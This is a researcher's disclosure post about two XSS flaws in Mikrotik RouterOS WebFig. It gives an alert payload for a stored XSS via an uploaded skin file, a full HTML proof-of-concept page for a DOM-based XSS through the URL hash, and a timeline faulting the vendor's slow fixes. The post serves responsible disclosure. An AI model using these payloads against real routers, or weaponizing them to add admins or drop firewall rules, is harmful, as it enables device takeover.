Two XSS vulnerabilities in Mikrotik WebFig.
In 2021 August, I found two XSS (Cross site scripting) vulnerabilities in Mikrotik WebFig. As a responsible researcher I wanted to report them as soon as possible.
Both XSS vulnerabilities can be combined, one can be used as entry point and second to make attack persistent.
These XSS payloads can be weaponized to add new admin, remove firewall rules, etc.
This story will be about “did not expect much and still ended up disappointed”.
The communication was slow. the fix time was unacceptable. The vulnerabilities was not mentioned in change log.
I had to hunt for my reported bugs in the change log, because they cannot admit Cross Site Scripting vulnerabilities in their WebFig and they are hiding them as hard as possible:
- “Fixed user policy lookup for skin designer” for Stored XSS,
- “Properly escape all reserved URI characters” for DOM based XSS.
Fixed user policy lookup for skin designer AKA Stored XSS
Since RouterOS 5.x something version they introduced with shin feature, strange functionality where you can hide some parts of config. By default it loads detault.json skin file. And usually this file is missing.
As we can see in the piece of code. It downloads skin file and eval it.
So I quickly upload default.json with following content, reloaded page, and boom alert popped.
alert('stored xss\non '+location.origin),{}This issue was fixed in version 7.1.1, but not in 6.48.6 Long-term and 6.49.7 Stable versions.
Properly escape all reserved URI characters AKA DOM based XSS
When RouterOS is not configured, the default credentials is admin and blank password. With those credentials WebFig auto logins. of course there is another way to login if attacker knows username and password. By setting window.name, but since I wanted to focus only on XSS I did not focus on that.
When user is logged in, the JavaScript is monitoring location.hash changes.
And then so some strange things with iframe. Since encodeURIComponent does not encode ‘ (singe quote), we can inject our own JavaScript code. And since iframe and main page works in the same origin / context, we can modify and inject JavaScript in parent frame.
From XSS challenges I learned that its possible to change location.hash without page reload.
Payload:
<html>
<body>
Host: <input id="host" value="192.168.1.55" /><br />
<input value="Dom XSS" type="button" onclick="xss()"/>
<script>
function xss(){
var mt = window.open('http://' + host.value + '/webfig/#');
setTimeout(function(){
mt.location = 'http://' + host.value + "/webfig/#'-alert(unescape(unescape('dom based xss%0aon ')).concat(origin))-(top.location.hash--)-'";
}, 2000);
}
</script>
</body>
</html>This issue will be fixed in version 7.8, but not in 6.48.6 Long-term and 6.49.7 Stable versions.
Timeline
- 2021.08.23 — Initial report,
- 2021.08.30 — Asked for update,
- 2021.09.03 — First response “do not consider this as an urgent matter …”,
- 2021.09.08 — Fixed Stored XSS in RouterOS version 7.1rc3,
- 2021.09.21 — Asked status regarding DOM based XSS, and informed that they forgot 6.x branches,
- 2021.09.30 — Response “Working on the improvements”,
- 2022.02.28 — Ticked was auto closed,
- 2022.07.07 — Reopened ticked and asked for updates,
- 2022.07.12 — Response “I could not reproduce the issue when uploading the skin file, tested on your mentioned 6.48.6 version.”,
- 2022.07.12 — Retested and sent PoC regarding 6.48.6 version,
- 2022.07.12 — Response “On which device you are testing this?”,
- 2022.07.12 — Sent list devices, and asked update for DOM XSS,
- 2022.07.14 — Response “Stored XSS — there are no plans to include it in v6., DOM-based XSS cross-site scripting is not yet fixed”,
- 2022.09.12 — Ticked was auto closed again,
- 2022.12.20 — Response “DOM-based XSS cross-site scripting is fixed in this version 7.8alpha”
To fix two XSS vulnerabilities it takes only 1 year, 3 months, 20 days!!!